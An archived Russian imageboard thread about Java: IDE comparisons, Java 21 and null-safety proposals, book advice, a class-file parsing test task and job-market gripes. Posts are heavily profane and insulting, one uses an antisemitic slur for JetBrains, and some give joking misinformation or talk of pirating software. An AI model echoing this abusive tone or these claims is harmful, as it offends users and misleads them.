Этого треда уже нет.
Это копия, сохраненная 30 декабря 2023 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
image.png697 Кб, 720x720
Java Thread #255 /java/ 2874645 В конец треда | Веб
Давайте засветимся с Java! 😎 Это не просто суровое кодежурство, это настоящее Java-путешествие во вселенную чудес и невероятных возможностей! 🚀 Мы, как Java-волшебники, работаем с абстракциями настолько высокими, что звёзды недоумевают, и исследуем глубины кодовой галактики, превращая его в нечто невероятное! Мы - джедаи абстракций ☝, разгадывающие загадки данных, словно истинные детективы, и внедряем магию оптимизации в каждую строку! Наши клавиши клавиатуры - это наши волшебные палочки, создающие чудеса во вселенной Java! 😜💻✨ Да, мы - покорители звёзд, ведущие корабль сквозь галактику Java, и каждая строчка кода - это наша сияющая звезда! ✨💻🌟

Что тут у нас:

🔮 LOOM: Потоки без швов, словно магия!
🧩 Pattern Matching: Проверки данных на стероидах.
📚 Sequenced Collections: Теперь .getLast() доступен всем!
В превью: Structured Concurrency - контроль над асинхронностью.
В превью: Scoped Value - гибкий ThreadLocal.
В превью: String Interpolation - вставка переменных просто как ABC.
В превью: Unnamed Classes и Instance Main Methods - для хелло-ворлда в одну строчку!
Java 21 - как праздник для программистов, только без торта (но с мороженным)! 🍰🍦💻

Вики по вкатыванию в джаву🎓: https://github.com/java2ch/java-thread/wiki

Предыдущий: >>2853076 (OP)
2 2874691
Пупунечки,я так рад
3 2874703
>>874691
Пупунечка это шарпомуха, а тута серьезные дяди сидят. Ты можешь представить себе пупунечку с ебалом скуфа? Нет? То-то же!
4 2874732
>>874703
Могу,главное ведь добрая душа и чистые помыслы
5 2874756
>>874732
Чистая душа, чистые помыслы и чистые функции - это в хаскель.
6 2874770
>>874756
В хаскеле функции чистые,а жопы грязные
7 2874805
>>874691
Задавай вопросы какие хотел!
8 2874816
>>874805
Как дела?
9 2874832
>>874816
Голова болит. А у тебя?
10 2874837
>>874832
Не болит
11 2874871
>>874837
А если прод уронить?
12 2874887
>>874871
Я тебе уроню,не только голова заболит
13 2874898
>>874887
Насиловать низя вообще-то...
14 2874971
>>874898
Ты всратый
15 2875026
Сука, как пупуням запретить перекатывать нахуй
16 2875038
>>875026
Тут правильный пуньпуневский перекатик
17 2875048
>>875026
Если что-то не устраивает, лучше просто пойти на прогулку и подумать об этом в спокойной обстановке. 😉
18 2875051
>>875038

>перекат после 500 постов


>проёбанная нумерация


>правильный перекат

19 2875058
>>875051
Нумерация правильная. После 500 постов потому что предыдущий тред был нелегитимным и зашкварным,по этой же причине не учитываем его в нумерации. Этот будем перекатывать после 1000. Конечно если мочух ебанат опять тред не снесёт
20 2875065
>>874971
Нет! И зачем ты на внешку перешёл? Признайся, я тебе нравлюсь, вот и оскорбляешь постоянно.
21 2875066
>>875058

>нелегитимный


Тыскозал?
22 2875070
>>875066
Комитет пупунь треда принял PJEP-1 и постановил признать прошлый тред нелегитимным.
23 2875073
>>875070

>комитет пупунь


>один ебалай-копротивленец, которому не нравится перекат после 500 постов, но очень нравится перекат после 500 постов

24 2875076
>>875073
Если что-то не устраивает, лучше просто пойти на прогулку и подумать об этом в спокойной обстановке. 😉
25 2875079
>>875065
Ты осознаешь что с разными людьми общаешься?
26 2875083
>>875076
Да меня-то всё устраивает сейчас, просто подметил, что кому-то очень важно, чтобы перекаты были после 1000 постов, но при этом сам он делает перекаты после 500.
27 2875091
>>875083
Ты реально не понимаешь почему именно с того треда перекатились после 500?

мимо
28 2875094
>>875091
Прекрасно понимаю. Чтобы показать копротивление мочуху. Уважаемо конечно, но ироничность не убавляет.
29 2875096
>>875079
Даже не пытаюсь. Но уверен, что все утверждения истинные.
30 2875098
>>875094
Никакой свободы вранам свободы
31 2875131
>>875094
Теперь все перекаты будут после 500 постов.
32 2875149
>>875131
Нет,перекаты будут после тысячи
33 2875151
>>875149
Да. В джяве все должно быть большим и тяжелым. Даже треды.
34 2875297
А можно как-то применить инструкцию cmp8xchg16b в атомиках? Это ж имба, почти dcas.
35 2875332
>>875151
Переходим на виртуальные треды!
36 2875453
Ахаха блять пиздец
37 2875583
>>874645 (OP)
Я вот курс прохожу и пиздец задания, в духе дают числа выведи наибольшее. А математических методов еще не показывали и сидишь ебешься складываешь вычитаешь хуе мое че за дегенераты эти курсы делают.
Как будто дают задание гвоздь забить а вместо молотка дают какие то камни бля и палки. И таких заданий дохуя.
38 2875589
>>875583
Это все на мотематике и школьном курсе информатики проходют. В чем бугурт? Не нравица, пользуйся туториалом от оракла
https://docs.oracle.com/javase/tutorial/java/nutsandbolts/index.html
39 2875645
Перевёл бы кто туториал от оракла на русский...
40 2875649
>>875645
А я думал, что один такой одуванчик и плохо знаю инглиш. Вот есть хороший переводчик: https://www.deepl.com/ru/translator
41 2875656
>>875649
Нито. Хочу чтоб никуда сувать не надо было и всё выверено человеком было.
42 2875662
>>875656
А минетик переводчику сделаешь?
43 2875668
>>875662
Скажу "вот этот базанул".
44 2875681
В чем разница между DTO, TO и VO?
45 2875683
>>875583
Сначала с этим разберись, пупуня блять
А то знаем мы вас, потом начнется Math.max += linkedList()=[мам я долбаеб] of
46 2875699
На чем дома практиковались? Наверняка были же проекты, на которых навыки оттачивали.
47 2875714
>>875699
На помидорах.
48 2875715
Почему instanceOf это конструкция, а не метод класса Object?
49 2875723
>>875715
Потомушто.
50 2875766
>>875715
Сам нашел ответ.
51 2875832
>>875714
А на бананах после или до помидор?
image.png107 Кб, 640x640
53 2875852
Как вы вкатываетесь в жабу, если джуновских вакансий тупо нигде нет?
54 2875865
>>875834
ЭТО МЕТОД КЛАССА CLASS А НЕ OBJECT
55 2875869
>>875865
А нахуя в контракт обжекта пихать рефлекшн методы? У нас в него уже пихнули wait/notify теперь кушаем последствия.
56 2875918
>>875869
у всех объектов есть класс.
57 2875929
>>875918
Но не у всех классов есть экземпляр. И не все классы открыты.
58 2875961
>>875852
По знакомству конечно же
59 2876033
>>875852
По везению конечно же
60 2876040
>>875715
Это щас на собесах такие вопросы задают?
61 2876198
>>875852
А уже никто не вкатывается. Профессия умерла.
62 2876251
>>875852
На шарпе полно джуновских вакансий, переучиваться месяца три максимум
63 2876274
>>876251
Так - да. Вкатуны сегодня предпочитают идти куда угодно - хоть в 1С, хоть на завод, лишь бы не в шарпейский коллектив.
16968825198770.png65 Кб, 285x177
64 2876275
Ебался два часа с серой кнопкой RUN чтобы узнать что файлы просто нужно просто создавать в /src . До этого джавакал.
65 2876294
>>876275
Блин, а еще меня неумехой тут называют...
66 2876324
Где найти примеры использования camunda bpm?
67 2876328
>>876275
У каждого кодера бывают такие моменты.
68 2876337
>>876328
Только у пупунь.
69 2876412
Пупуни (тимлиды) не делают глупых ошибок. Они делают их намеренно.
70 2876420
>>876412
Ты что,выписал весь тред из пупунь?!
71 2876783
https://youtu.be/eXCx2hW_xNI?si=bGxVIz2vRjvTincQ
А я думал брайн гетц скуф, а тут наоборот. Няшно выглядит.
72 2876803
>>876783
Так эталонный скуф же.
73 2876810
Никогда не понимал, почему залётыши лезут в интелидж идею. Там нет волшебных кнопок и лучшее, что можно дать - эклипс. Сиди строчи, программирувай, развивайся. IDE - не даст буста. Буст от опыта и понимания.
74 2876811
>>876810
И майнкруфт писали в эклипсе, таки.
image.png126 Кб, 338x348
75 2876813
>>876803
Да ну не. Смотри какой ухоженный, пахнет наверняка приятно, умный еще. Еще худой, следит за собой. Лысина только, но это ж не большой минус. Только не говорите, что мне скуфы начали нравица...
>>876810
Ну нинаю, я помню мне порекомендовали пользоваться идеей вместо эклипса и бля, это такой буст. Во первых ебейший автокомплит, во вторых куча желтых подчеркиваний, где говорица, чому я еблан, плюс ctrl+q. Ну и самое главное, я могу зажать контрол и залезть в кишки. Какой же это каеф, сидишь копаешься, изучаешь как вот гоетцы всякие что-то понаписали. Делаешь также....
76 2876820
>>876813
"нажмите волшебную кнопку, чтобы все создалось само", эклипс иначе работает.
eclipse.png7 Кб, 1024x1024
77 2876822
78 2876823
>>876820
То, что я не могу удобно копаться в кишках это минус. Это не кнопочка сделать все само. Помню когда я еще сидел там не было банальной функции ренейма. Конечно заебись руками искать контекст... Но нахуя? Я блять не шарпист руками импорты писать с лицом лягухи.
79 2876825
>>876823
хз, жид брейны итак попустили сами себя уйдя с Российского рынка. А опен сорц - это опэн сорц. Комьюнити, где нет цвета кожи, нации и прочего.
80 2876828
>>876823
Этого нет в эклипсе?
81 2876829
>>876825
Есть комунити версия. Тоже попенсорц.

>Комьюнити, где нет цвета кожи, нации и прочего.


Спорно. Надеюсь ты и сам это понимаешь.
>>876828
Я в эклипсе сижу по твоему? Когда я им пользовался ничего из этого не было. Ренеймил через ctrl+F. Как в блокнотике. Кишочков тоже не было. Мб надо было 100500 плагинов накатить, но я че, бесплатный тестер, который будет сам допиливать софт и выявлять баги?
82 2876830
>>876829
Вообще, я этого, гоетца послушал. Они лсп развивали, так что ренейм в нем встроен. https://emacs-lsp.github.io/lsp-java/
Как давно без понятия.
83 2876831
>>876829

>комунити версия


> Тоже попенсорц


ась?
84 2876832
>>876831
а хотя да, есть сорцы таки...
85 2876833
>>876831
а как она у гугла оказалась в ондроеде студии?
86 2876835
>>876833
логично. я просто не фанат джетбрэйнов.
87 2876881
>>876835
Так при чем тут фанатизм то? Просто пользуешься ейц, потому что она лучше по всем параметрам + привык к хоткеям.
Ораклом тоже пользуются не от большой любви к этой гнилой конторе.
88 2876914
Пупуням привет, остальным соболезную
89 2876980
>>874645 (OP)

> В превью: Structured Concurrency - контроль над асинхронностью.


> В превью: Scoped Value - гибкий ThreadLocal.


> В превью: String Interpolation - вставка переменных просто как ABC.


> В превью: Unnamed Classes и Instance Main Methods - для хелло-ворлда в одну строчку!


Ну то есть то что у белых людей есть уже лет 10 как...
90 2876982
>>876980
Первые два в нормальном виде эт где?
91 2876983
>>876982
В Котлине
92 2876984
>>876983
На доки ссылки давай. Я сам искать не собираюсь.
93 2876985
>>876984

> Я сам искать не собираюсь.


И почему мне должно быть не похуй?
94 2876987
>>876985
Ну тип это ты пришел доказыавть, что мол вооот 10 лет уже усе есть. Всем остальным насрать как бы
95 2876993
>>876982
Да тут и третьего, и четвёртого в петухлине нет.
96 2877221
Пятница ураааааааааа
97 2877323
>>877221
все поняем прод, до понедельника никто не заметит!
98 2877325
>>877323
Хихихи,гадости инкорпорейтед
99 2877356
>>874645 (OP)
Почему на вакансию сишарп программиста 100 откликов, а на джаву 1000? Так много людей потеряло работу?
100 2877361
>>877356
Так вкатывайся в шарп
101 2877496
Какие же сеньки ебаные душнилы,невозможно блядь с ними по человечески общаться. Как бабка химичка в теле взрослого мужика
102 2877503
>>877496
Не душнила до ранга сеньки просто не дойдет. Свичнется в лиды или вообще убежит из айти.
103 2877507
>>877503
Кстати говоря лид реально приятный в общении чувак,в отличии от кодеров
image.png45 Кб, 762x244
104 2877583
Может кто-то подсказать что имеется ввиду? Я файл побайтово прочитал, вытащил оттуда путь для копирования, но это не устроило.
https://habr.com/ru/companies/otus/articles/478584/
https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.4.1

Нужно скопировать .class файлы из одной директории в другую. Причем полный путь нужно вытащить из class файла.
105 2877622
>>877583
хуйней не страдай
image.png31 Кб, 785x525
106 2877635
>>877583
А зачем это нужно? И не проще какой-нить жабаагент запустить? https://habr.com/ru/articles/230239/
107 2877668
>>877622
Не понял
>>877635
Это тестовое задание.
108 2877680
>>877583
Чем аргументировали ответ который не устроил?
109 2877687
>>877668
И? Какая разница тестовое, не тестовое?
И ты куда вообще устраиваешься? В оракл?
110 2877689
>>877680
Полное имя класса нужно определить по содержимому class-файла:

- имеется ввиду не текст, а структура class-файла, надо ознакомиться с предложенными статьями(можно поискать самому), и по структуре определить полное имя класса. Логика должна работать с любым class-файлом.
111 2877693
>>877687
Типа того. Идеальный кандидат должен еще знать PL/SQL и оракловскую БД.
112 2877695
>>877687
Типа того. Идеальный кандидат должен еще знать PL/SQL и оракловскую БД.
113 2877696
>>877687
Типа того. Идеальный кандидат должен еще знать PL/SQL и оракловскую БД.
114 2877705
>>877693
>>877695
>>877696
Ясн. Эх, вот бы мне тоже тестовое хотя б дали...
115 2877709
>>877705
Для получения тестового достаточно перестать быть говноедом джавистом в 2023 году, взять .net 6+ и пойти в любую крупную компанию на гринфилд проекты.
Но твой выбор вечно ныть и молиться, чтобы однажды тебя взяли поддерживать ненужно легаси на жабе.
116 2877717
>>877709

>Но твой выбор вечно ныть и молиться, чтобы однажды тебя взяли поддерживать ненужно легаси на жабе.


Дя. А еще я даже резюме не написал ни разу. Но тестовое жду. :3
117 2877759
>>877709
На шарпе нет бекенда
118 2877774
>>877759
Да, на C# Blazor пишут фронт, а бэк делают на ноде.
изображение2023-10-13210321045.png476 Кб, 800x800
119 2877991
Аноны, что думаете про этот томик? Стоит ли брать для обучения
121 2877994
>>877991
Позно уже. Да и шилд говно. Эффектив жаба пизже
122 2877999
>>877993
Ой слушай, а может ты мне поможешь с шарпиком? Помню один вообще готов был минет сделать за перекат с жабы на шарп, а тут сущая мелочь, на вопросики отвечать.
123 2878016
>>877994
Нахрена мне С# ? Я за Яву спросил. А ты ,я смотрю , все зрение из-за пекарни/дрочки убил.
124 2878022
>>877994
А за эффектив яву спс, ток она какая-то старо-тухлая ,19-го года.
125 2878032
>>878022
В плане 19 года? Она старше jcip. Ты новое издание не читай, а старые епта кури.
И ещё это можно https://www.amazon.com/Concurrent-Programming-Java%C2%99-Principles-Pattern/dp/0201310090
126 2878039
>>877583
Кого не устроило?
127 2878146
>>877991
Сейчас более актуальны эти книги
128 2878202
>>877994
Этот хуйню несёт. Шилдт базовый.
129 2878209
>>877991
С выходом 21 джавы 12 издание протухло слегка, но в целом всё ещё стоящее. Но я бы смотрел также в сторону туториалов от оракла.
130 2878257
>>877991
Стоит, а еще лучше в оригинале без перевода.
131 2878258
>>878146
Для одинокого пупуни есть что?
132 2878259
>>878202
Там куча вставок док и методов классов. Плюс воды дохуя. Уверен там и кишочклв нету.
>>878257
А че там перевод потерял?
133 2878260
>>877991
Анон, не бери эту книгу, это справочник. Возьми Кея Хорстманна.
134 2878263
>>878259

> А че там перевод потерял?


Техническую литературу всегда лучше читать в оригинале, ибо перевод может искажать те или иные моменты.
135 2878264
>>878263
Надеюсь доки к китайским элементам ты именно на китайском читаешь. А то ведь потерять все можешь.
136 2878266
>>878260
Читал эту хуйню когда еще под 6 релиз был. На самом начале автор закинул какой то ебаный календарь с кучей непонятного кода, который я так и не разобрал, выбросив все к черту. Нахуя так сложно делать? Выучил джаву на Шилдте ни разу не пожалел, лучшая в своем роде. И как справочник и как самоучитель.
137 2878295
>>878039
Проверяющего
138 2878298
Почему в стандартную либу не добавят удобный парсер жсонов?
139 2878309
>>878298
Патамушто.
140 2878314
>>878298
Добавь. Все тебя ждут
141 2878450
>>878298
Ты его сначала напиши.
142 2878453
>>878298
В сишарпе он есть, а на джаве все равно одни легаси проекты с xml так что парсер жсонов не нужен.
143 2878460
>>878453
Начинай свой день с чашечки копиума
144 2878481
К нам в команду приняли сразу кучу индусов. Помоги мне Боже.
145 2878487
Когда введут тип never/nothing?
146 2878488
>>878481
А можно к вам? Я буду морально помогать, массажик делать... Че там еще
>>878487
С вальхаллой пересматриваю систему типов, возможно и такое введут. Но чёт сомневаюсь. А тебе, к слову зачем он понадобился?
147 2878489
Когда пупуни перестанут придумывать какой хуйней можно засрать язык и займутся делом?
148 2878491
>>878489
Я хочу заняться делом, но вы меня не берете.
Ой, кстати мне тут бесплатный сервис для получения сертификата посоветовали https://letsencrypt.org/ru/ и пару багов нашли и сказали я хуевый дизайнер и фронт.
149 2878492
>>878488

>А тебе, к слову зачем он понадобился?


if (checkNotNull(a)) {
throwNPE();
}
return a.getB();

У метода throwNPE должен быть тип never/nothing, чтобы анализатор не жаловался на возможный NPE при вызове getB.
150 2878494
>>878492
Запихни туда метод из обжектс https://docs.oracle.com/javase/8/docs/api/java/util/Objects.html#isNull-java.lang.Object-
Их пихает сам компилер. Жаловаться не будет.
151 2878499
>>878494
А там на самом деле как раз isNull, я забыл.
152 2878501
>>878499
И все равно анализатор нахуй шлёт? Тогда requireNonNull попробуй. Если все равно что-то пишет, то это проблемы анализатора. Напиши им куда ну или + поставь на ишью существующий.
153 2878522
Вот проблема, ну охуеть теперь
154 2878611
>>878492
Что за высер? Каким образом тип здесь поможет анализатору меньше жаловаться?
155 2878619
>>878611
Ну в котлине наллы на уровне типов, хотя как насинг поможет я тож не поняв
156 2878622
>>878619
Ну так это совсем другое. Тут долбоёб высирает какую-то хуйню, которую даже сам не представляет нормально.
157 2878846
>>878295
Чем он аргументировал свое недовольство? Дословно
158 2878856
>>878298
JSON?

А че уж не ямль тогда, или томль? Че уж сразу не протобаф нахуй? JSON в 2023ем - лол, ну ты и скуф, ппц.
159 2878904
JEP-648274 Add Spring Boot libraries to java.spring.pupunya base module

Now young pupunyas can create a crud for sobes simply by typing the following:

import java.spring.pupunya.*;

void main() {
var app = new Boot();
app.run();
}
160 2878926
>>878258
"одинокий боньк" джуди пупинькольт
161 2878933
>>878904
А можно янг пупуню хотя бы до собеса допустить?
162 2879029
Где спиратить курсы IBS Training Center ?
163 2879034
>>879029
А какой смысл от курсов, без ментора?
164 2879035
>>879034
Ментор это юзлесс хуйня
165 2879094
Посмотрел доклад про акка,сложно
166 2879099
>>879094
Скинь мне, тоже хочу~
167 2879101
>>879099
Нет
168 2879103
>>878846
Полное имя класса нужно определить по содержимому class-файла:

- имеется ввиду не текст, а структура class-файла, надо ознакомиться с предложенными статьями(можно поискать самому), и по структуре определить полное имя класса. Логика должна работать с любым class-файлом.
169 2879105
>>879101
Почему же?
170 2879106
>>879105
Тебе нельзя
171 2879107
>>879106
Мы знакомы..?
172 2879111
>>879107
Стасян?
173 2879113
>>879111
Марго?
Ладно, я тебя понял. Спасибо за заботу~
174 2879117
>>878298
в веб спринге джексон из коробки
175 2879324
>>878257
Нет, вот этот тоже хуйню несёт, перевод это база. Нихуя он не теряет, и самое главное что без него когнитивный ресурс будет тратится на распознавание неродного языка, а не на понимание текста, и анону будет гораздо сложнее / меньше запомнит.
176 2879331
>>879103
Хватит тупить и тридцать раз перецитировать постановку задачи. Фидбэк проверяющего давай.
177 2879340
>>879331
Дык это и есть фидбэк.
178 2879342
>>879340
Да? Ну значит не повезло тебе - у тебя вместо проверяющего черный ящик. Тут наши полномочия какбэ - все.
179 2879434
Мнение? https://openjdk.org/jeps/8316779
Я думал скуфы в оракл вообще не думают о наллах.
180 2879443
>>879434
Думают, просто не как орущая школота из соседних языков, отталкиваясь от 7 заповедей Чистого КодаТМ, а более логично.
181 2879450
>>879434
Пфф, дотнет уже убил джаву. Нет никакого смысла использовать джаву в наше время, хоть все фичи укради из шарпа в свои всратые джепы.
182 2879456
>>879450
Там можно такое делать:
// Define as non-nullable, but tell compiler to ignore warning
// Same as FooBar fooBar = default!;
FooBar fooBar = null!;
Смысл от этой безопасности, если она не работает?
183 2879462
>>879450
Начинай свой день с чашечки копиума
1697363566958.jpg142 Кб, 1080x513
184 2879526
185 2879527
>>879434
хотелось бы fizz?buzz без NPE получать, а не просто встроенный валидатор, который я и так повесить могу.
186 2879529
>>879527
Ты бы хотя бы джеп прочитал, еблан.
187 2879534
>>879526
Дремлет хлопец...
188 2879550
>>879529

>>Null-Restricted


Очевидно что они не сделают так как я написал.
Приходит запрос с фронта - джексон пытается создать объект - жвм срет ошибкой из за нула в Null-Restricted поле. И чем это лучше NPE?
Если в рантайме это не проверяется и это фича компилятора - то тем более бесполезный кал, хуже валидаторов привычных.

Если я не прав - напиши в каком разделе это указано, читать стену текста не хочу.
189 2879552
>>879550

>Приходит запрос с фронта - джексон пытается создать объект - жвм срет ошибкой из за нула в Null-Restricted поле. И чем это лучше NPE?


Так это в принципе невозможно сделать без NPE, додик.
190 2879640
>>879527
Это модель, когда у тебя расширяется тип, а не сужается? Ну т.е. как в котлине? Ну в жабе это принципиально невозможно достичь из-за примитивов. Тип, что должно вернуть
String str = null;
str?.length();

?
Или ты сигнатуру метода изменить хочешь?
191 2879659
Какие же всратые шрифты в VSCode. Ошибки, выводящиеся в центр экрана, а не в консоль внизу - это же пиздец. Управление с клавы - полная хуета, даже между вкладками по Alt + -> не переключиться.

Какое же всратое все в Eclipse!

Обе ИДЕшки жрут столько же памяти, как Идея.
Последняя версия Идеи еще и быстрее всех стартует. Как от этого отказаться?!
192 2879688
>>879659
Купи идею, если у тебя ком разработка.
Кстати, смотрю ты энжоер юзер прям, научишь...?
193 2879715
>>879688
Так они перестали продавать в РФ и РБ
https://blog.jetbrains.com/blog/2022/12/06/update-on-jetbrains-statement-on-ukraine

У меня не еще не ком.разработка, но переучиваться на эти я ебал. Эклипс просто явно для босоногих индусов, а в VSC документация говна, в которой одна статься написана на половину дядей Фёдором, наполовину - псом Шариком.
В Идее есть подробная документация, подсказки на старте, обучающий курс и одностраничная PDF-ка по кнопкам
https://resources.jetbrains.com/storage/products/intellij-idea/docs/IntelliJIDEA_ReferenceCard.pdf

Что ты не понял в Идее?
194 2879724
>>879688
Даже блять ; в конце выражения, в которую вечно хуй попадёшь в Идее можно поставить по Ctrl + Shift + Enter, а VSC - нет.
Для кого они делают продукт, я не понимаю.
195 2879747
>>879715
Если не ком, то есть комунити версия ж. Пасиб за пдфку, кста.

Сейчас и не припомнишь, обычно когда кожу возникает же. Но вот например приоритеты, как отсортировать сниппеты так, чтобы sou был не souf, а sout.
Ещё вроде есть фича, что можно не писать
Type type = new Type();
Тип она умная и сама как-то заполнить могет. В идеале б она ещё и интерфейсы выбирала, вместо типа.
196 2879762
>>879747
Вообще,
<Ctrl + пробел> это предложить варианты,
<Ctrl + Shift + пробел> авто-подстановка рекомендуемого
<Ctrl + Shift + Enter> авто-завершение стандарта типа
Type type = new ...

В случае с sout/souf я бы просто напечатал sou и выбрал из списка в меню, которое откроется, нужный вариант.
Не приходилось сортировать этот предлагаемый список
197 2879763
>>879747
Комунити версия - говно
Я пока что каждый месяц на новую почту регистрирую триал но в Условиях использования уже запретили повторные триалы на одно лицо.
16963366051240.png1,5 Мб, 1024x1024
198 2879768
в чем отличие калмунити и ултимейт идей?
199 2879771
>>879762
Ты похоже не поняв. Я хочу написать new Type(), а остальное путь идея напишет. Т.е. левую часть, а не правую. Не помню уж зачем мне именно так надо было.
Ещё интересно, можно ли сниппеты накидывать на выделенную часть.
Типа sout обернёт в себя все выделенное.
200 2879773
>>879434
хуйню какую-то придумывают
ввели бы уже ключевое слово struct и не ебали мозгу
201 2879775
>>879773
А че оно делать должно?
202 2879784
>>879771

>сниппеты накидывать на выделенную часть


<ALt + Ctrl + T> и там есть опция настроить Live Templates.

>Я хочу написать new Type(), а остальное путь идея напишет


О таком я не знаю, сорри.
203 2879790
>>879775
структуру
204 2879833
>>879724
В идее есть хоткей на точку с запятой в конце строки? Ебать
205 2879834
>>879771
new Type.var
206 2879837
>>879552
в котлине и жс возможно, а в джаве никак?
207 2879838
>>879784
>>879833
Какие вы няшки, спасиба.

>.var


А как final перед заставить ставить...?
208 2879839
>>879837
Тебе дали значение в которое вообще невозможно запихнуть null.
Ты же что хочешь сделать? Нахуя ты его запихать туда хочешь?
209 2879842
>>879640
Да, хочу как в котлине.
Заебало писать
Optional.ofNullable(fizz.getUser()).map(User::getName).orElse(null)
хочу
fizz.getUser?getName()

Неужели я так много прошу?
210 2879851
>>879763

>>в Условиях использования уже запретили


Думаешь тебе эфбиай в дом вломится и арестует за пиратский софт?

>>Я хочу написать new Type(), а остальное путь идея напишет. Т.е. левую часть, а не правую.


ctrl + alt + v попробуй
но я варами пользуюсь, чтоб слева не писать.

>>в чем отличие калмунити и ултимейт идей?


Поддержка мавена, датагрипа, фич для контейнеров, других языков. Говорят что то про спринг, но я хз что там в комунити спрингового не работает.
211 2879889
>>879842
А нахуя так писать? Назови хоть один профит от этой поеботы.
image.png21 Кб, 660x190
212 2879915
>>879889
Можно такой метод еще сделоть. Через аспекты, возможно, можно перехватить все возможные вызов и возвращать null, но тогда магии автобоксингов не случица, да и грязь это лютая.
213 2879929
>>879851
Поддержка мавена в коммьюнити есть. Датагрип - вообще отдельный продукт, равно как и идешки для других языков. Скорее всего ты напутал ультимейт идею с all-products pack'ом.
214 2879931
>>879915
Насчет аспектов, эт нереально. Когда я запихну null в тайп дженерика, то я сотру всю информацию о типе и соответственно методах и тогда будет невозможно создать проксю на его основе.
То, что котлин на этапе компиляции вставляет такие проверки замечательно, конечно, но я все еще не понимаю цели всего этого. Поскольку ты только продляешь существование null значения. Нахуй так делать спрашивается?
215 2879965
А есть вообще разница между метод реферансами и анонимными функциями?
Какая разница написать (x -> x.toString) или (Object::toString) например?
Почему мне идея лямбды подчеркивает как ошибку постоянно?
216 2879997
>>879965

>Почему мне идея лямбды подчеркивает как ошибку постоянно?


пушто ты пидар епта
217 2880046
>>879997
А может ты пидар ?
218 2880075
>>879965
Разобрался, баг идеи, должно быть наоборот.
219 2880199
А если не секрет в чем плюшки не комьюнишной идеи?
220 2880336
>>879965
Никакой разницы, анон. Это баг в маняподелке жидбрейнс. Вариант с иксом даже читабельнее. Если расскажешь о нем на собесе, то собеседующий сразу поймет, что ты шаришь.
221 2880361
Cabine пользуется кто? Год назад пробовал,было говно
222 2880406
>>880361
че за залупа
223 2880421
>>880406
Ты дурак
224 2880467
>>879837
Наркоман, что ли? Как ты себе представляешь валидацию любых данных, что приходят в рантайме без рантайм эксеппшенов?
225 2880468
>>879931
НУ ВОО ПАТАШТУМА ЭТА ДАЖВА ХОЧУ ДЖАВА НЕТ ПОНЯЛ НАДО)))))
226 2880472
new? List<Mam> = null.dolboyob()
image.png403 Кб, 500x500
227 2880489
228 2880499
>>880467

>>fizz?getUser?getName()


>>Как ты себе представляешь валидацию


if (fizz == null) return null;
else if (fizz.getUser() == null) return null;
return fizz.getUser().getName()

Только писать это должен не я, а компилятор.
229 2880502
>>880499
Мань, так нулл рестриктед совсем не про это и объяснял ты не это.
230 2880503
>>880502
Я и говорю что он не про, нахуй ты его вообще приплел идиотина?
231 2880505
>>880499
Ты объясни нахуя эту ебанину должен делать компилятор? Зачем сука продлят жизнь налл значения, без специального типа как в котлине?

Если тебе реально так надо, сделай аннотацию и аст изменяй, как ломбок.
232 2880506
>>880503
Ты совсем что ли охуел? Изначально вкинут был джеп, а потом ты уже высрался со своим говносинтаксисом петухлина.
233 2880599
new Либо<String, LinkedList> либоСтрокаЛибоСписок = linkedList.map(
ifNull -> yield "ядолбаеб и пупуня а лист пустой",
nonNullList -> _+=()" мам я долбаеб")

return либоСтрокаЛибоСписок.fold(
message -> STR."{'message': '\{message}', 'status': 'OK'}",
list -> STR."{'your list': '\{list}', 'status': 'OK'}")
234 2880609
я тебя трахну
235 2880617
Посоветуйте литературы, чтобы с нуля, чтобы хорошо.
236 2880618
>>880617
Егор Бугаенко - Элегантные объекты
237 2880628
>>880617
Владимир Жириновский - Азбука Секса
238 2880632
>>880617
D. Knuth The Art of Computer Programming
M. Herlihy The Art of Multiprocessor Programming
239 2880659
Прод за выходные не упал,молодцы пупуни
240 2880677
>>880617
Привет,
Andrew Troelsen, Phil Japikse - Pro C# 10 with .NET 6
Andrew Lock - ASP.NET Core in Action
+ https://learn.microsoft.com/en-us/dotnet/csharp/

Параллельно можно смотреть:
https://www.youtube.com/channel/UCq8LldVrjqe61KQttZlLW8g
https://www.youtube.com/channel/UC-ptWR16ITQyYOglXyQmpzw
https://www.youtube.com/channel/UCrkPsvLGln62OMZRO6K-llg

После этого можно устроиться джуном
241 2880695
>>880677
Спасибо большое, ещё за ссылки, все посмотрю, буду учиться.
>>880632
Тоже спасибо, но тут англюсик, надо будет ещё его учить
>>880618
Большое спасибо, тоже прочту
>>880628
Отдельное спасибо, хоть это скорее всего не по теме, но чувствую ебаться мне придется много.
242 2880697
>>880695

>но тут англюсик


Первая переведена топово.
243 2880741
>>880677
Почему в дотнете выбрали мерзкий асинк вместо виртуальных тредов? А так вроде язык во всём лучше джавы. Думаю вкатываться, спс за ссылки
244 2880765
>>880741

>мерзкий асинк вместо виртуальных тредов


>язык во всём лучше джавы

245 2880815
Пиздосе, шилда рекомендуют, а там талмуды на тысячу страниц. Как можно что то там выучить вообще. Пока один раздел перекопаешь, забудешь что было в 3 других.

Рекомендуют тут иметь глобальные цели. Ну предположим, у меня есть на примете апишка хуйни с которой я могу сосать данные. Хочу сделать сайт, где можно будет хуевертить этой апишкой мышкой, ну там сортировочки, поиски, и прочая залупа. А как это делать? Мне книжку открывать и пытаться искать по ключевым словам, которые могут быть, а могут и не быть в этой книге?

А что там про написание кода? Ну там чистый код. Я так понял, до сих пор блять не пришли к единому мнению, и каждый трактует понятие чистого кода как ему хочется, ведь он так понял и он так видит.

Всё это батхерт от того, что придется потратить сотни жопасчасов на изучения языка и набив шишек. При этом можно же по человечески, не проходя каждый раз по граблям. Но что то блять в этом мире пошло не так. Хотя наверно я просто тупой, отрицать не буду.
246 2880834
>>880815
Чел, учить придется. Сейчас конкурс 1к человек на вакансию и у них у всех эти томики шилда и документация спринга от зубов отскакивает. Дальше будет хуже. Поэтому если не готов 24/7 работать и учиться с горящими глазами, то айти это не твоё. Айти - это должно быть твоё хобби, твой смысл жизни. Ты ж не хочешь как заводское быдло отработать 8 часов и вообще ни о чем больше не думать и спокойно попивать пивко и мацать жену за сиську? Ты хочешь читать талмуды и документацию постоянно, вносить новые фичи, фиксить баги, жить проектом, быть в постоянном напряжении. Поэтому терпи, пока другие живут нормальной жизнью. Ты выше этого.
247 2880860
>>880834
